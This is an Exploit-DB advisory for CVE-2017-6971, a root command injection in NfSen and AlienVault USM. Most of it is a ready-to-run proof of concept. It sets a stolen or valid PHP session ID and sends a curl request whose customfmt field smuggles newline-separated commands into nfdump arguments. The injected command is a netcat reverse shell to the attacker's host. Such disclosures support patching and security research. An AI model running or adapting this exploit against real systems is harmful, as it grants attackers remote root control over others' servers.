EDB-ID: 42306 | Author: Paul Taylor | Published: 2017-07-10 | CVE: CVE-2017-6971 | Type: Remote | Platform: Linux | Vulnerable App: | # Version: NfSen 1.3.6p1, 1.3.7 and 1.3.7-1~bpo80+1_all. Previous versions are also likely to be affected.
# Version: AlienVault 5.3.4
# Date: 2017-07-10
# Vendor Homepage: http://nfsen.sourceforge.net/
# Vendor Homepage: http://www.alienvault.com/
# Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download
# Exploit Author: Paul Taylor / Foregenix Ltd
# Website: http://www.foregenix.com/blog
# Tested on: AlienVault USM 5.3.4
# CVE: CVE-2017-6971
1. Description
A remote authenticated attacker (or an attacker with a stolen PHP Session ID) can gain complete control over the system by sending a crafted request containing control characters and shell commands which will be executed as root on a vulnerable system.
2. Proof of Concept
# From a linux bash prompt on the attacker's machine:
# Set target IP
targetip='10.100.1.1'
# Set desired command to inject (in this case a reverse shell, using Netcat which is conveniently available on an AlienVault USM All-In-One):
cmd='nc -ne /bin/bash 10.100.1.2 443';
# Set the PHPSESSID of an authenticated session which has *already* submitted at least one valid NfSen query for processing via the Web UI.
PHPSESSID='offq09ckq66fqtvdd0vsuhk5c7';
# Next use curl to send the exploit
curl -o /dev/null -s -k -b "PHPSESSID=$PHPSESSID" -d "process=Process&output=custom+...&customfmt=%0A.%0Arun-nfdump%0Aargs=-h; $cmd #" https://$targetip/ossim/nfsen/nfsen.php
3. Solution:
Update to latest version of NfSen/USM/OSSIM